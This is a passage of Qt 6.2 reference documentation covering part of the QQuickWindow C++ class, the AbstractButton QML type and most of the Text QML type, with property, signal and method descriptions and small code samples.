   **Note:** This hint does not apply to cached resources, that are relatively cheap to drop and then recreate later. Therefore, calling [releaseResources](qquickwindow#releaseResources)() will typically lead to releasing those regardless of the value of this hint.

  **See also** [isPersistentGraphics](qquickwindow#isPersistentGraphics)(), [setPersistentSceneGraph](qquickwindow#setPersistentSceneGraph)(), [sceneGraphInitialized](qquickwindow#sceneGraphInitialized)(), [sceneGraphInvalidated](qquickwindow#sceneGraphInvalidated)(), and [releaseResources](qquickwindow#releaseResources)().

 ### 
void QQuickWindow::setPersistentSceneGraph(bool *persistent*)

 Sets whether the scene graph nodes and resources are *persistent*. Persistent means the nodes and resources cannot be released. The default value is `true`.

 When calling [releaseResources](qquickwindow#releaseResources)(), when the window gets hidden (more specifically, not renderable), some render loops have the possibility to release the scene graph nodes and related graphics resources. This frees up memory temporarily, but will also mean the scene graph has to be rebuilt when the window renders next time.

  **Note:** The rules for when a window is not renderable are platform and window manager specific.

   **Note:** The scene graph nodes and resources are always released when the last [QQuickWindow](qquickwindow) is deleted, regardless of this setting.

   **Note:** This is a hint, and is not guaranteed that it is taken into account.

  **See also** [isPersistentSceneGraph](qquickwindow#isPersistentSceneGraph)(), [setPersistentGraphics](qquickwindow#setPersistentGraphics)(), [sceneGraphInvalidated](qquickwindow#sceneGraphInvalidated)(), [sceneGraphInitialized](qquickwindow#sceneGraphInitialized)(), and [releaseResources](qquickwindow#releaseResources)().

 ### 
`[since 6.0]` void QQuickWindow::setRenderTarget(const [QQuickRenderTarget](qquickrendertarget) &*target*)

 Sets the render target for this window to be *target*.

 A [QQuickRenderTarget](qquickrendertarget) serves as an opaque handle for a renderable native object, most commonly a 2D texture, and associated metadata, such as the size in pixels.

 A default constructed [QQuickRenderTarget](qquickrendertarget) means no redirection. A valid *target*, created via one of the static [QQuickRenderTarget](qquickrendertarget) factory functions, on the other hand, enables redirection of the rendering of the Qt Quick scene: it will no longer target the color buffers for the surface associated with the window, but rather the textures or other graphics objects specified in *target*.

 For example, assuming the scenegraph is using Vulkan to render, one can redirect its output into a `VkImage`. For graphics APIs like Vulkan, the image layout must be provided as well. [QQuickRenderTarget](qquickrendertarget) instances are implicitly shared and are copyable and can be passed by value. They do not own the associated native objects (such as, the VkImage in the example), however.

 
```
QQuickRenderTarget rt = QQuickRenderTarget::fromVulkanImage(vulkanImage, VK_IMAGE_LAYOUT_PREINITIALIZED, pixelSize);
quickWindow->setRenderTarget(rt);
```
 This function is very often used in combination with [QQuickRenderControl](qquickrendercontrol) and an invisible [QQuickWindow](qquickwindow), in order to render Qt Quick content into a texture, without creating an on-screen native window for this [QQuickWindow](qquickwindow).

 When the desired target, or associated data, such as the size, changes, call this function with a new [QQuickRenderTarget](qquickrendertarget). Constructing [QQuickRenderTarget](qquickrendertarget) instances and calling this function is cheap, but be aware that setting a new *target* with a different native object or other data may lead to potentially expensive initialization steps when the scenegraph is about to render the next frame. Therefore change the target only when necessary.

  **Note:** This function should not be used when using the `software` backend. Instead, use [grabWindow](qquickwindow#grabWindow)() to render the content into a [QImage](qimage).

   **Note:** The window does not take ownership of any native objects referenced in *target*.

   **Note:** It is the caller's responsibility to ensure the native objects referred to in *target* are valid for the scenegraph renderer too. For instance, with Vulkan, Metal, and Direct3D this implies that the texture or image is created on the same graphics device that is used by the scenegraph internally. Therefore, when texture objects created on an already existing device or context are involved, this function is often used in combination with [setGraphicsDevice](qquickwindow#setGraphicsDevice)().

   **Note:** With graphics APIs where relevant, the application must pay attention to image layout transitions performed by the scenegraph. For example, once a VkImage is associated with the scenegraph by calling this function, its layout will transition to `VK_IMAGE_LAYOUT_COLOR_ATTACHMENT_OPTIMAL` when rendering a frame.

   **Warning:** This function can only be called from the thread doing the rendering.

  This function was introduced in Qt 6.0.

 **See also** [renderTarget](qquickwindow#renderTarget)(), [QQuickRenderControl](qquickrendercontrol), [setGraphicsDevice](qquickwindow#setGraphicsDevice)(), and [setGraphicsApi](qquickwindow#setGraphicsApi)().

 ### 
`[static, since 5.8]` void QQuickWindow::setSceneGraphBackend(const [QString](qstring) &*backend*)

 Requests a Qt Quick scenegraph *backend*. Backends can either be built-in or be installed in form of dynamically loaded plugins.

 This is an overloaded function.

  **Note:** The call to the function must happen before constructing the first [QQuickWindow](qquickwindow) in the application. It cannot be changed afterwards.

  See [Switch Between Adaptations in Your Application](qtquick-visualcanvas-adaptations#switch-between-adaptations-in-your-application) for more information about the list of backends. If *backend* is invalid or an error occurs, the request is ignored.

  **Note:** Calling this function is equivalent to setting the `QT_QUICK_BACKEND` or `QMLSCENE_DEVICE` environment variables. However, this API is safer to use in applications that spawn other processes as there is no need to worry about environment inheritance.

  This function was introduced in Qt 5.8.

 **See also** [sceneGraphBackend](qquickwindow#sceneGraphBackend)().

 ### 
`[static, since 5.10]` void QQuickWindow::setTextRenderType([QQuickWindow::TextRenderType](qquickwindow#TextRenderType-enum) *renderType*)

 Sets the default render type of text-like elements in Qt Quick to *renderType*.

  **Note:** setting the render type will only affect elements created afterwards; the render type of existing elements will not be modified.

  This function was introduced in Qt 5.10.

 **See also** [textRenderType](qquickwindow#textRenderType)().

 ### 
`[override virtual protected]` void QQuickWindow::showEvent([QShowEvent](qshowevent) \*)

 Reimplements: [QWindow::showEvent](qwindow#showEvent)(QShowEvent \*ev).

 ### 
`[override virtual protected]` void QQuickWindow::tabletEvent([QTabletEvent](qtabletevent) \**event*)

 Reimplements: [QWindow::tabletEvent](qwindow#tabletEvent)(QTabletEvent \*ev).

 ### 
`[static, since 5.10]` [QQuickWindow::TextRenderType](qquickwindow#TextRenderType-enum) QQuickWindow::textRenderType()

 Returns the render type of text-like elements in Qt Quick. The default is [QQuickWindow::QtTextRendering](qquickwindow#TextRenderType-enum).

 This function was introduced in Qt 5.10.

 **See also** [setTextRenderType](qquickwindow#setTextRenderType)().

 ### 
`[override virtual protected]` void QQuickWindow::wheelEvent([QWheelEvent](qwheelevent) \**event*)

 Reimplements: [QWindow::wheelEvent](qwindow#wheelEvent)(QWheelEvent \*ev).



 © The Qt Company Ltd  
Licensed under the GNU Free Documentation License, Version 1.3.  

<https://doc.qt.io/qt-6.2/qquickwindow.html>

AbstractButton QML Type
=======================

 Abstract base type providing functionality common to buttons. [More...](#details)

 

|  |  |
| --- | --- |
|  Import Statement: |  import QtQuick.Controls |
|  Since: |  Qt 5.7 |
|  Inherits: | [Control](qml-qtquick-controls2-control) |
|  Inherited By: | [Button](qml-qtquick-controls2-button), [CheckBox](qml-qtquick-controls2-checkbox), [DelayButton](qml-qtquick-controls2-delaybutton), [ItemDelegate](qml-qtquick-controls2-itemdelegate), [MenuBarItem](qml-qtquick-controls2-menubaritem), [MenuItem](qml-qtquick-controls2-menuitem), [RadioButton](qml-qtquick-controls2-radiobutton), [Switch](qml-qtquick-controls2-switch), and [TabButton](qml-qtquick-controls2-tabbutton) |


* [List of all members, including inherited members](https://doc.qt.io/qt-6.2/qml-qtquick-controls2-abstractbutton-members.html)

 Properties
----------

 * **[action](qml-qtquick-controls2-abstractbutton#action-prop)** : Action
* **[autoExclusive](qml-qtquick-controls2-abstractbutton#autoExclusive-prop)** : bool
* **[autoRepeat](qml-qtquick-controls2-abstractbutton#autoRepeat-prop)** : bool
* **[autoRepeatDelay](qml-qtquick-controls2-abstractbutton#autoRepeatDelay-prop)** : int
* **[autoRepeatInterval](qml-qtquick-controls2-abstractbutton#autoRepeatInterval-prop)** : int
* **[checkable](qml-qtquick-controls2-abstractbutton#checkable-prop)** : bool
* **[checked](qml-qtquick-controls2-abstractbutton#checked-prop)** : bool
* **[display](qml-qtquick-controls2-abstractbutton#display-prop)** : enumeration
* **[down](qml-qtquick-controls2-abstractbutton#down-prop)** : bool
* **[icon](qml-qtquick-controls2-abstractbutton#icon-prop)**
	+ **[icon.cache](qml-qtquick-controls2-abstractbutton#icon.cache-prop)** : bool
	+ **[icon.color](qml-qtquick-controls2-abstractbutton#icon.color-prop)** : color
	+ **[icon.height](qml-qtquick-controls2-abstractbutton#icon.height-prop)** : int
	+ **[icon.name](qml-qtquick-controls2-abstractbutton#icon.name-prop)** : string
	+ **[icon.source](qml-qtquick-controls2-abstractbutton#icon.source-prop)** : url
	+ **[icon.width](qml-qtquick-controls2-abstractbutton#icon.width-prop)** : int
* **[implicitIndicatorHeight](qml-qtquick-controls2-abstractbutton#implicitIndicatorHeight-prop)** : real
* **[implicitIndicatorWidth](qml-qtquick-controls2-abstractbutton#implicitIndicatorWidth-prop)** : real
* **[indicator](qml-qtquick-controls2-abstractbutton#indicator-prop)** : Item
* **[pressX](qml-qtquick-controls2-abstractbutton#pressX-prop)** : real
* **[pressY](qml-qtquick-controls2-abstractbutton#pressY-prop)** : real
* **[pressed](qml-qtquick-controls2-abstractbutton#pressed-prop)** : bool
* **[text](qml-qtquick-controls2-abstractbutton#text-prop)** : string

 Signals
-------

 * **[canceled](qml-qtquick-controls2-abstractbutton#canceled-signal)**()
* **[clicked](qml-qtquick-controls2-abstractbutton#clicked-signal)**()
* **[doubleClicked](qml-qtquick-controls2-abstractbutton#doubleClicked-signal)**()
* **[pressAndHold](qml-qtquick-controls2-abstractbutton#pressAndHold-signal)**()
* **[pressed](qml-qtquick-controls2-abstractbutton#pressed-signal)**()
* **[released](qml-qtquick-controls2-abstractbutton#released-signal)**()
* **[toggled](qml-qtquick-controls2-abstractbutton#toggled-signal)**()

 Methods
-------

 * void **[toggle](qml-qtquick-controls2-abstractbutton#toggle-method)**()

 Detailed Description
--------------------

 AbstractButton provides the interface for controls with button-like behavior; for example, push buttons and checkable controls like radio buttons and check boxes. As an abstract control, it has no delegate implementations, leaving them to the types that derive from it.

 **See also** [ButtonGroup](qml-qtquick-controls2-buttongroup) and [Button Controls](qtquickcontrols2-buttons).

 Property Documentation
----------------------

 ###  [since QtQuick.Controls 2.3 (Qt 5.10)] action : [Action](qml-qtquick-controls2-action)

 This property holds the button action.

 This property was introduced in QtQuick.Controls 2.3 (Qt 5.10).

 **See also** [Action](qml-qtquick-controls2-action).

 ###  autoExclusive : [bool](qml-bool)

 This property holds whether auto-exclusivity is enabled.

 If auto-exclusivity is enabled, checkable buttons that belong to the same parent item behave as if they were part of the same [ButtonGroup](qml-qtquick-controls2-buttongroup). Only one button can be checked at any time; checking another button automatically unchecks the previously checked one.

  **Note:** The property has no effect on buttons that belong to a [ButtonGroup](qml-qtquick-controls2-buttongroup).

  [RadioButton](qml-qtquick-controls2-radiobutton) and [TabButton](qml-qtquick-controls2-tabbutton) are auto-exclusive by default.

 ###  autoRepeat : [bool](qml-bool)

 This property holds whether the button repeats [pressed](qml-qtquick-controls2-abstractbutton#pressed-signal)(), [released](qml-qtquick-controls2-abstractbutton#released-signal)() and [clicked](qml-qtquick-controls2-abstractbutton#clicked-signal)() signals while the button is pressed and held down.

 If this property is set to `true`, the [pressAndHold](qml-qtquick-controls2-abstractbutton#pressAndHold-signal)() signal will not be emitted.

 The default value is `false`.

 The initial delay and the repetition interval are defined in milliseconds by [autoRepeatDelay](qml-qtquick-controls2-abstractbutton#autoRepeatDelay-prop) and [autoRepeatInterval](qml-qtquick-controls2-abstractbutton#autoRepeatInterval-prop).

 ###  [since QtQuick.Controls 2.4 (Qt 5.11)] autoRepeatDelay : [int](qml-int)

 This property holds the initial delay of auto-repetition in milliseconds. The default value is `300` ms.

 This property was introduced in QtQuick.Controls 2.4 (Qt 5.11).

 **See also** [autoRepeat](qml-qtquick-controls2-abstractbutton#autoRepeat-prop) and [autoRepeatInterval](qml-qtquick-controls2-abstractbutton#autoRepeatInterval-prop).

 ###  [since QtQuick.Controls 2.4 (Qt 5.11)] autoRepeatInterval : [int](qml-int)

 This property holds the interval of auto-repetition in milliseconds. The default value is `100` ms.

 This property was introduced in QtQuick.Controls 2.4 (Qt 5.11).

 **See also** [autoRepeat](qml-qtquick-controls2-abstractbutton#autoRepeat-prop) and [autoRepeatDelay](qml-qtquick-controls2-abstractbutton#autoRepeatDelay-prop).

 ###  checkable : [bool](qml-bool)

 This property holds whether the button is checkable.

 A checkable button toggles between checked (on) and unchecked (off) when the user clicks on it or presses the space bar while the button has active focus.

 The default value is `false`.

 **See also** [checked](qml-qtquick-controls2-abstractbutton#checked-prop).

 ###  checked : [bool](qml-bool)

 This property holds whether the button is checked.

 Since Qt 6.2, setting this property no longer affects the [checkable](qml-qtquick-controls2-abstractbutton#checkable-prop) property. Explicitly set the `checkable` property if needed.

 **See also** [checkable](qml-qtquick-controls2-abstractbutton#checkable-prop).

 ###  [since QtQuick.Controls 2.3 (Qt 5.10)] display : [enumeration](qml-enumeration)

 This property determines how the [icon](qml-qtquick-controls2-abstractbutton#icon-prop) and [text](qml-qtquick-controls2-abstractbutton#text-prop) are displayed within the button.

 

| Display | Result |
| --- | --- |
| `AbstractButton.IconOnly` |  |
| `AbstractButton.TextOnly` |  |
| `AbstractButton.TextBesideIcon` |  |
| `AbstractButton.TextUnderIcon` |  |

 This property was introduced in QtQuick.Controls 2.3 (Qt 5.10).

 **See also** [spacing](qml-qtquick-controls2-control#spacing-prop) and [padding](qml-qtquick-controls2-control#padding-prop).

 ###  down : [bool](qml-bool)

 This property holds whether the button is visually down.

 Unless explicitly set, this property follows the value of [pressed](qml-qtquick-controls2-abstractbutton#pressed-signal). To return to the default value, set this property to `undefined`.

 **See also** [pressed](qml-qtquick-controls2-abstractbutton#pressed-signal).

 ###  icon.cache : [bool](qml-bool)

 This property group was added in [QtQuick](https://doc.qt.io/qt-6.2/qtquick-module.html).Controls 2.3.

 

| Name | Description |
| --- | --- |
| name | This property holds the name of the icon to use.The icon will be loaded from the platform theme. If the icon is found in the theme, it will always be used; even if [icon.source](qml-qtquick-controls2-abstractbutton#icon.source-prop) is also set. If the icon is not found, [icon.source](qml-qtquick-controls2-abstractbutton#icon.source-prop) will be used instead. For more information on theme icons, see [QIcon::fromTheme](qicon#fromTheme)(). |
| source | This property holds the name of the icon to use.The icon will be loaded as a regular image. If [icon.name](qml-qtquick-controls2-abstractbutton#icon.name-prop) is set and refers to a valid theme icon, it will always be used instead of this property. |
| width | This property holds the width of the icon.The icon's width will never exceed this value, though it will shrink when necessary. |
| height | This property holds the height of the icon.The icon's height will never exceed this value, though it will shrink when necessary. |
| color | This property holds the color of the icon.The icon is tinted with the specified color, unless the color is set to `"transparent"`. |
| cache | This property specifies whether the icon should be cached.The default value is true. For more information, see [cache](qml-qtquick-image#cache-prop). This property was introduced in [QtQuick](https://doc.qt.io/qt-6.2/qtquick-module.html).Controls 2.13. |

 **See also** [text](qml-qtquick-controls2-abstractbutton#text-prop), [display](qml-qtquick-controls2-abstractbutton#display-prop), and [Icons in Qt Quick Controls](qtquickcontrols2-icons).

 ###  [read-only, since QtQuick.Controls 2.5 (Qt 5.12)] implicitIndicatorHeight : [real](qml-real)

 This property holds the implicit indicator height.

 The value is equal to `indicator ? indicator.implicitHeight : 0`.

 This is typically used, together with [implicitContentHeight](qml-qtquick-controls2-control#implicitContentHeight-prop) and [implicitBackgroundHeight](qml-qtquick-controls2-control#implicitBackgroundHeight-prop), to calculate the [implicitHeight](qml-qtquick-item#implicitHeight-prop).

 This property was introduced in QtQuick.Controls 2.5 (Qt 5.12).

 **See also** [implicitIndicatorWidth](qml-qtquick-controls2-abstractbutton#implicitIndicatorWidth-prop).

 ###  [read-only, since QtQuick.Controls 2.5 (Qt 5.12)] implicitIndicatorWidth : [real](qml-real)

 This property holds the implicit indicator width.

 The value is equal to `indicator ? indicator.implicitWidth : 0`.

 This is typically used, together with [implicitContentWidth](qml-qtquick-controls2-control#implicitContentWidth-prop) and [implicitBackgroundWidth](qml-qtquick-controls2-control#implicitBackgroundWidth-prop), to calculate the [implicitWidth](qml-qtquick-item#implicitWidth-prop).

 This property was introduced in QtQuick.Controls 2.5 (Qt 5.12).

 **See also** [implicitIndicatorHeight](qml-qtquick-controls2-abstractbutton#implicitIndicatorHeight-prop).

 ###  indicator : [Item](qml-qtquick-item)

 This property holds the indicator item.

 ###  [read-only, since QtQuick.Controls 2.4 (Qt 5.11)] pressX : [real](qml-real)

 This property holds the x-coordinate of the last press.

  **Note:** The value is updated on touch moves, but left intact after touch release.

  This property was introduced in QtQuick.Controls 2.4 (Qt 5.11).

 **See also** [pressY](qml-qtquick-controls2-abstractbutton#pressY-prop).

 ###  [read-only, since QtQuick.Controls 2.4 (Qt 5.11)] pressY : [real](qml-real)

 This property holds the y-coordinate of the last press.

  **Note:** The value is updated on touch moves, but left intact after touch release.

  This property was introduced in QtQuick.Controls 2.4 (Qt 5.11).

 **See also** [pressX](qml-qtquick-controls2-abstractbutton#pressX-prop).

 ###  [read-only] pressed : [bool](qml-bool)

 This property holds whether the button is physically pressed. A button can be pressed by either touch or key events.

 **See also** [down](qml-qtquick-controls2-abstractbutton#down-prop).

 ###  text : [string](qml-string)

 This property holds a textual description of the button.

  **Note:** The text is used for accessibility purposes, so it makes sense to set a textual description even if the content item is an image.

  **See also** [icon](qml-qtquick-controls2-abstractbutton#icon-prop), [display](qml-qtquick-controls2-abstractbutton#display-prop), and [contentItem](qml-qtquick-controls2-control#contentItem-prop).

 Signal Documentation
--------------------

 ###  canceled()

 This signal is emitted when the button loses mouse grab while being pressed, or when it would emit the [released](qml-qtquick-controls2-abstractbutton#released-signal) signal but the mouse cursor is not inside the button.

 **Note:** The corresponding handler is `onCanceled`.

 ###  clicked()

 This signal is emitted when the button is interactively clicked by the user via touch, mouse, or keyboard.

 **Note:** The corresponding handler is `onClicked`.

 ###  doubleClicked()

 This signal is emitted when the button is interactively double clicked by the user via touch or mouse.

 **Note:** The corresponding handler is `onDoubleClicked`.

 ###  pressAndHold()

 This signal is emitted when the button is interactively pressed and held down by the user via touch or mouse. It is not emitted when [autoRepeat](qml-qtquick-controls2-abstractbutton#autoRepeat-prop) is enabled.

 **Note:** The corresponding handler is `onPressAndHold`.

 ###  pressed()

 This signal is emitted when the button is interactively pressed by the user via touch, mouse, or keyboard.

 **Note:** The corresponding handler is `onPressed`.

 ###  released()

 This signal is emitted when the button is interactively released by the user via touch, mouse, or keyboard.

 **Note:** The corresponding handler is `onReleased`.

 ###  `[since QtQuick.Controls 2.2 (Qt 5.9)]` toggled()

 This signal is emitted when a checkable button is interactively toggled by the user via touch, mouse, or keyboard.

 **Note:** The corresponding handler is `onToggled`.

 This signal was introduced in QtQuick.Controls 2.2 (Qt 5.9).

 Method Documentation
--------------------

 ###  void toggle()

 Toggles the checked state of the button.



 © The Qt Company Ltd  
Licensed under the GNU Free Documentation License, Version 1.3.  

<https://doc.qt.io/qt-6.2/qml-qtquick-controls2-abstractbutton.html>

Text QML Type
=============

 Specifies how to add formatted text to a scene. [More...](#details)

 

|  |  |
| --- | --- |
|  Import Statement: |  import QtQuick |
|  Inherits: | [Item](qml-qtquick-item) |


* [List of all members, including inherited members](https://doc.qt.io/qt-6.2/qml-qtquick-text-members.html)
* [Deprecated members](https://doc.qt.io/qt-6.2/qml-qtquick-text-obsolete.html)

 Properties
----------

 * **[advance](qml-qtquick-text#advance-prop)** : size
* **[antialiasing](qml-qtquick-text#antialiasing-prop)** : bool
* **[baseUrl](qml-qtquick-text#baseUrl-prop)** : url
* **[bottomPadding](qml-qtquick-text#bottomPadding-prop)** : real
* **[clip](qml-qtquick-text#clip-prop)** : bool
* **[color](qml-qtquick-text#color-prop)** : color
* **[contentHeight](qml-qtquick-text#contentHeight-prop)** : real
* **[contentWidth](qml-qtquick-text#contentWidth-prop)** : real
* **[effectiveHorizontalAlignment](qml-qtquick-text#effectiveHorizontalAlignment-prop)** : enumeration
* **[elide](qml-qtquick-text#elide-prop)** : enumeration
* **[font.bold](qml-qtquick-text#font.bold-prop)** : bool
* **[font.capitalization](qml-qtquick-text#font.capitalization-prop)** : enumeration
* **[font.family](qml-qtquick-text#font.family-prop)** : string
* **[font.hintingPreference](qml-qtquick-text#font.hintingPreference-prop)** : enumeration
* **[font.italic](qml-qtquick-text#font.italic-prop)** : bool
* **[font.kerning](qml-qtquick-text#font.kerning-prop)** : bool
* **[font.letterSpacing](qml-qtquick-text#font.letterSpacing-prop)** : real
* **[font.pixelSize](qml-qtquick-text#font.pixelSize-prop)** : int
* **[font.pointSize](qml-qtquick-text#font.pointSize-prop)** : real
* **[font.preferShaping](qml-qtquick-text#font.preferShaping-prop)** : bool
* **[font.strikeout](qml-qtquick-text#font.strikeout-prop)** : bool
* **[font.styleName](qml-qtquick-text#font.styleName-prop)** : string
* **[font.underline](qml-qtquick-text#font.underline-prop)** : bool
* **[font.weight](qml-qtquick-text#font.weight-prop)** : int
* **[font.wordSpacing](qml-qtquick-text#font.wordSpacing-prop)** : real
* **[fontInfo.bold](qml-qtquick-text#fontInfo.bold-prop)** : bool
* **[fontInfo.family](qml-qtquick-text#fontInfo.family-prop)** : string
* **[fontInfo.italic](qml-qtquick-text#fontInfo.italic-prop)** : bool
* **[fontInfo.pixelSize](qml-qtquick-text#fontInfo.pixelSize-prop)** : string
* **[fontInfo.pointSize](qml-qtquick-text#fontInfo.pointSize-prop)** : real
* **[fontInfo.styleName](qml-qtquick-text#fontInfo.styleName-prop)** : string
* **[fontInfo.weight](qml-qtquick-text#fontInfo.weight-prop)** : int
* **[fontSizeMode](qml-qtquick-text#fontSizeMode-prop)** : enumeration
* **[horizontalAlignment](qml-qtquick-text#horizontalAlignment-prop)** : enumeration
* **[hoveredLink](qml-qtquick-text#hoveredLink-prop)** : string
* **[leftPadding](qml-qtquick-text#leftPadding-prop)** : real
* **[lineCount](qml-qtquick-text#lineCount-prop)** : int
* **[lineHeight](qml-qtquick-text#lineHeight-prop)** : real
* **[lineHeightMode](qml-qtquick-text#lineHeightMode-prop)** : enumeration
* **[linkColor](qml-qtquick-text#linkColor-prop)** : color
* **[maximumLineCount](qml-qtquick-text#maximumLineCount-prop)** : int
* **[minimumPixelSize](qml-qtquick-text#minimumPixelSize-prop)** : int
* **[minimumPointSize](qml-qtquick-text#minimumPointSize-prop)** : int
* **[padding](qml-qtquick-text#padding-prop)** : real
* **[renderType](qml-qtquick-text#renderType-prop)** : enumeration
* **[renderTypeQuality](qml-qtquick-text#renderTypeQuality-prop)** : int
* **[rightPadding](qml-qtquick-text#rightPadding-prop)** : real
* **[style](qml-qtquick-text#style-prop)** : enumeration
* **[styleColor](qml-qtquick-text#styleColor-prop)** : color
* **[text](qml-qtquick-text#text-prop)** : string
* **[textFormat](qml-qtquick-text#textFormat-prop)** : enumeration
* **[topPadding](qml-qtquick-text#topPadding-prop)** : real
* **[truncated](qml-qtquick-text#truncated-prop)** : bool
* **[verticalAlignment](qml-qtquick-text#verticalAlignment-prop)** : enumeration
* **[wrapMode](qml-qtquick-text#wrapMode-prop)** : enumeration

 Signals
-------

 * **[lineLaidOut](qml-qtquick-text#lineLaidOut-signal)**(object *line*)
* **[linkActivated](qml-qtquick-text#linkActivated-signal)**(string *link*)
* **[linkHovered](qml-qtquick-text#linkHovered-signal)**(string *link*)

 Methods
-------

 * **[forceLayout](qml-qtquick-text#forceLayout-method)**()
* **[linkAt](qml-qtquick-text#linkAt-method)**(real *x*, real *y*)

 Detailed Description
--------------------

 Text items can display both plain and rich text. For example, red text with a specific font and size can be defined like this:

 
```
Text {
    text: "Hello World!"
    font.family: "Helvetica"
    font.pointSize: 24
    color: "red"
}
```
 Rich text is defined using HTML-style markup:

 
```
Text {
    text: "<b>Hello</b> <i>World!</i>"
}
```
 ![]


If height and width are not explicitly set, Text will attempt to determine how much room is needed and set it accordingly. Unless [wrapMode](qml-qtquick-text#wrapMode-prop) is set, it will always prefer width to height (all text will be placed on a single line).

 The [elide](qml-qtquick-text#elide-prop) property can alternatively be used to fit a single line of plain text to a set width.

 Note that the [Supported HTML Subset](richtext-html-subset) is limited. Also, if the text contains HTML img tags that load remote images, the text is reloaded.

 Text provides read-only text. For editable text, see [TextEdit](qml-qtquick-textedit).

 **See also** [Fonts example](https://doc.qt.io/qt-6.2/qtquick-text-example.html#fonts).

 Property Documentation
----------------------

  ###  [since 5.6] bottomPadding : [real](qml-real)

 
These properties hold the padding around the content. This space is reserved in addition to the [contentWidth](qml-qtquick-text#contentWidth-prop) and [contentHeight](qml-qtquick-text#contentHeight-prop).

 This QML property was introduced in Qt 5.6.

  ###  effectiveHorizontalAlignment : [enumeration](qml-enumeration)

 
Sets the horizontal and vertical alignment of the text within the Text items width and height. By default, the text is vertically aligned to the top. Horizontal alignment follows the natural alignment of the text, for example text that is read from left to right will be aligned to the left.

 The valid values for `horizontalAlignment` are `Text.AlignLeft`, `Text.AlignRight`, `Text.AlignHCenter` and `Text.AlignJustify`. The valid values for `verticalAlignment` are `Text.AlignTop`, `Text.AlignBottom` and `Text.AlignVCenter`.

 Note that for a single line of text, the size of the text is the area of the text. In this common case, all alignments are equivalent. If you want the text to be, say, centered in its parent, then you will need to either modify the [Item::anchors](qml-qtquick-item#anchors-prop), or set [horizontalAlignment](qml-qtquick-text#horizontalAlignment-prop) to Text.AlignHCenter and bind the width to that of the parent.

 When using the attached property [LayoutMirroring::enabled](qml-qtquick-layoutmirroring#enabled-prop) to mirror application layouts, the horizontal alignment of text will also be mirrored. However, the property `horizontalAlignment` will remain unchanged. To query the effective horizontal alignment of Text, use the read-only property `effectiveHorizontalAlignment`.

 ###  [since 5.10] advance : [size](qml-size)

 The distance, in pixels, from the baseline origin of the first character of the text item, to the baseline origin of the first character in a text item occurring directly after this one in a text flow.

 Note that the advance can be negative if the text flows from the right to the left.

 This property was introduced in Qt 5.10.

 ###  antialiasing : [bool](qml-bool)

 Used to decide if the Text should use antialiasing or not. Only Text with [renderType](qml-qtquick-text#renderType-prop) of Text.NativeRendering can disable antialiasing.

 The default is true.

 ###  baseUrl : [url](qml-url)

 This property specifies a base URL which is used to resolve relative URLs within the text.

 Urls are resolved to be within the same directory as the target of the base URL meaning any portion of the path after the last '/' will be ignored.

 

| Base URL | Relative URL | Resolved URL |
| --- | --- | --- |
| http://qt-project.org/ | images/logo.png | http://qt-project.org/images/logo.png |
| http://qt-project.org/index.html | images/logo.png | http://qt-project.org/images/logo.png |
| http://qt-project.org/content | images/logo.png | http://qt-project.org/content/images/logo.png |
| http://qt-project.org/content/ | images/logo.png | http://qt-project.org/content/images/logo.png |
| http://qt-project.org/content/index.html | images/logo.png | http://qt-project.org/content/images/logo.png |
| http://qt-project.org/content/index.html | ../images/logo.png | http://qt-project.org/images/logo.png |
| http://qt-project.org/content/index.html | /images/logo.png | http://qt-project.org/images/logo.png |

 The default value is the url of the QML file instantiating the Text item.

 ###  clip : [bool](qml-bool)

 This property holds whether the text is clipped.

 Note that if the text does not fit in the bounding rectangle it will be abruptly chopped.

 If you want to display potentially long text in a limited space, you probably want to use `elide` instead.

 ###  color : [color](qml-color)

 The text color.

 An example of green text defined using hexadecimal notation:

 
```
Text {
    color: "#00FF00"
    text: "green text"
}
```
 An example of steel blue text defined using an SVG color name:

 
```
Text {
    color: "steelblue"
    text: "blue text"
}
```
 ###  contentHeight : [real](qml-real)

 Returns the height of the text, including height past the height which is covered due to there being more text than fits in the set height.

 ###  contentWidth : [real](qml-real)

 Returns the width of the text, including width past the width which is covered due to insufficient wrapping if WrapMode is set.

 ###  elide : [enumeration](qml-enumeration)

 Set this property to elide parts of the text fit to the Text item's width. The text will only elide if an explicit width has been set.

 This property cannot be used with rich text.

 Eliding can be:

 * Text.ElideNone - the default
* Text.ElideLeft
* Text.ElideMiddle
* Text.ElideRight

 If this property is set to Text.ElideRight, it can be used with [wrapped](qml-qtquick-text#wrapMode-prop) text. The text will only elide if `maximumLineCount`, or `height` has been set. If both `maximumLineCount` and `height` are set, `maximumLineCount` will apply unless the lines do not fit in the height allowed.

 If the text is a multi-length string, and the mode is not `Text.ElideNone`, the first string that fits will be used, otherwise the last will be elided.

 Multi-length strings are ordered from longest to shortest, separated by the Unicode "String Terminator" character `U009C` (write this in QML with `"\u009C"` or `"\x9C"`).

 ###  font.bold : [bool](qml-bool)

 Sets whether the font weight is bold.

 ###  font.capitalization : [enumeration](qml-enumeration)

 Sets the capitalization for the text.

 * Font.MixedCase - This is the normal text rendering option where no capitalization change is applied.
* Font.AllUppercase - This alters the text to be rendered in all uppercase type.
* Font.AllLowercase - This alters the text to be rendered in all lowercase type.
* Font.SmallCaps - This alters the text to be rendered in small-caps type.
* Font.Capitalize - This alters the text to be rendered with the first character of each word as an uppercase character.

 
```
Text { text: "Hello"; font.capitalization: Font.AllLowercase }
```
 ###  font.family : [string](qml-string)

 Sets the family name of the font.

 The family name is case insensitive and may optionally include a foundry name, e.g. "Helvetica [Cronyx]". If the family is available from more than one foundry and the foundry isn't specified, an arbitrary foundry is chosen. If the family isn't available a family will be set using the font matching algorithm.

 ###  [since 5.8] font.hintingPreference : [enumeration](qml-enumeration)

 Sets the preferred hinting on the text. This is a hint to the underlying text rendering system to use a certain level of hinting, and has varying support across platforms. See the table in the documentation for [QFont::HintingPreference](qfont#HintingPreference-enum) for more details.

  **Note:** This property only has an effect when used together with render type Text.NativeRendering.

  Font.PreferDefaultHinting - Use the default hinting level for the target platform.

 Font.PreferNoHinting - If possible, render text without hinting the outlines of the glyphs. The text layout will be typographically accurate, using the same metrics as are used e.g. when printing.

 Font.PreferVerticalHinting - If possible, render text with no horizontal hinting, but align glyphs to the pixel grid in the vertical direction. The text will appear crisper on displays where the density is too low to give an accurate rendering of the glyphs. But since the horizontal metrics of the glyphs are unhinted, the text's layout will be scalable to higher density devices (such as printers) without impacting details such as line breaks.

 Font.PreferFullHinting - If possible, render text with hinting in both horizontal and vertical directions. The text will be altered to optimize legibility on the target device, but since the metrics will depend on the target size of the text, the positions of glyphs, line breaks, and other typographical detail will not scale, meaning that a text layout may look different on devices with different pixel densities.

 
```
